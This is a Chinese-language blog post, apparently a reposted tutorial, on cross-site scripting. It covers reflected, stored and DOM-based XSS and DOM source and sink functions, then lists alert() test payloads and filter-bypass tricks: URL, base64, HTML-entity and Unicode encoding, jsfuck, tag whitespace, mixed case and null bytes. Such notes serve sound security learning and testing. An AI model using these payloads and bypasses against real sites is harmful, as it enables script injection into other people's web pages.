码迷,mamicode.com
首页 > 其他好文 > 详细

XSS(一) 不鸽的话可能会有(二)

时间:2019-09-30 19:52:54      阅读:80      评论:0      收藏:0      [点我收藏+]

标签:网页   input   char   页面跳转   ie版本   ssi   冲突   https   导致   

xss

非持久型xss攻击:非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

反射型存储型DOM型

常用测试代码:

onmouseover="alert(xss);"

<script>alert(xss);</script>

<a href="javascript:alert(xss);">xss</a>

<img onerror="alert(xss);" src=>

主要原理:闭合标签,构造恶意代码

输入用户可构造,比如搜索框,评论留言区,注册名字,联系方式等,同时页面里经常会有hidden属性的input,这时直接burp抓包改就可以了,隐藏属性不好点击,可用以下代码 不同浏览器实现的快捷键方式不同,并且可能和其它快捷方式冲突

accesskey="X" onclick="alert(xss)"

DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显

页面跳转通过JS跳转,使用location.href、location.replace()、location.assign(),可以通过javascript伪协议执行JS脚本

DOM XSS输入点

Location 当前网页的URL地址
window.name 当前网页 tab 的名字,它被不同的网站赋值,也就是说这个网页为window.name 赋值后再跳转到其它网站,window.name 的值依然不变
document.title 是当前网页的标题,可以在搜索框输入控制它的内容
document.referer 表示来路,表示从哪个网页URL访问过来的
postMessage 是HTML5 的一种跨域机制,但很多时候开发者没有正确的做来源检测,会导致 DOM XSS 的发生
location 它触发 JS 通常是以跳转到 JS URI 的方式执行
eval 是JS 内置的动态JS执行器
innerHTML 能为一个网页元素赋值
document.write 可以输出一个页面流
Function 能通过函数生成一个函数,可以传入动态JS代码
setTimeout 会延时执行JS代码
setInterval 表示循环执行 JS 代码
xss编码绕过

有时网站对输入字符进行了过滤,此时可以通过编码来进行绕过
原理:URL 请求时会对百分号等 URL 的编码方式进行转码;浏览器接收到页面数据后,会对 HTML 实体编码进行转码;执行 JS 时会对 JSUnicode 等 JS 支持的方式进行转码。

url编码 %+16进制数字 https://www.w3school.com.cn/tags/html_ref_urlencode.html

url base64编码 data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ+

html编码  '&' + '约定名称' + ';' 的形式,其实还有 '&#' + '十进制数字' + ';' 和 '&#x' + '十六进制数字' + ';'   十进制和十六进制后面的;可以省略

JS Unicode 编码
规则是 '\u' + '四位十六进制数字'
jsfuck https://www.bugku.com/tools/jsfuck/
在script标签钟插入一个空格或者是tab
<script >alert(1)</script>
<script    >alert(1)</script>

也可以对tab,换行,回车进行编码来绕过
<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

对标签进行大小写
<ScRipT>alert(1)</sCriPt>

插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

对于ie版本小于10的 html属性支持反引号` 可用其来闭合双引号,从而绕过htmlspecialchars()

参考来源:https://www.jianshu.com/p/13f0b9a15e46

XSS(一) 不鸽的话可能会有(二)

标签:网页   input   char   页面跳转   ie版本   ssi   冲突   https   导致   

原文地址:https://www.cnblogs.com/GH-D/p/11613986.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!